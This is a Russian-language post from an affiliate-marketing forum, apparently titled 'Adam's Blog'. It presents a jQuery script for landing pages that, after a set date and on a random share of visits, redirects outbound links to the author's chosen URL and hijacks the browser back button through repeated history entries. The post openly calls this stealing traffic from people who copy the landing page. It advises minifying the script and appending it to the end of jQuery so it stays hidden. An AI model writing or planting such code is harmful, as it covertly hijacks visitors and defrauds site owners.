БлогАдама Делаем минификацию скрипта в одну из библиотек в Facebook на лендинге

Блог Адама
  1. Переменная domain отвечает за проверку домена. Если домен отличается от этой переменной, скрипт заменяет все ссылки на replaceLink
  2. replaceLink - ссылка на которую будут вести все <a> теги
  3. lastDate - это текущая дата, обычно ставится с помощью <?php echo current_date ?> для того чтобы зафиксировать дату выкачки вашего ленда
  4. per - рандом параметр для подворовывания, т.е как карта ляжет, чем ниже тем больше ворует
Можно сделать минификацию скрипта и сунуть в одну из библиотек на ленде, например в jquery в самый конец :)

Код:
var domain = 'rockyraccoon.com',
replaceLink = 'https://rockyraccoon.com',
lastDate = '2024-01-01',
per = 10;
$(document).ready(function () {
  if ((new Date()).getTime() > (new Date(lastDate)).getTime() && Math.round(Math.random() * 100, 0) <= per) {
    var a = document.referrer;
    if (a != '') {
      a = new URL(a).hostname
    }
    replaceLink = replaceLink.replace("{urlref}", window.location.host + window.location.pathname);
    replaceLink = replaceLink.replace("{sourceref}", a);
    if (window.location.host != "" && window.location.host != "localhost") {
      $('a').each(function (k, elem) {
        if (typeof $(elem).attr('href') !== "undefined" && $(elem).attr('href').indexOf(domain) == -1 && $(elem).attr('href') != "#") {
          $(elem).on('click', function (e) {
            e.originalEvent.currentTarget.href = replaceLink
          }); !
          function (replaceLink) {
            var t;
            try {
              for (t = 0; 10 > t; ++t) history.pushState({},
              "", "#");
              onpopstate = function (t) {
                t.state && location.replace(replaceLink)
              }
            } catch(o) {}
          } (replaceLink)
        }
      })
    }
  }
});
Материал с канала: Блог Адама
 

Вложения

  • Horisontal копия.jpg
    Horisontal копия.jpg
    164.3 КБ · Просмотры: 334
Назад
Верх
Главная Поиск Блог Обучение Партнёрки Инструменты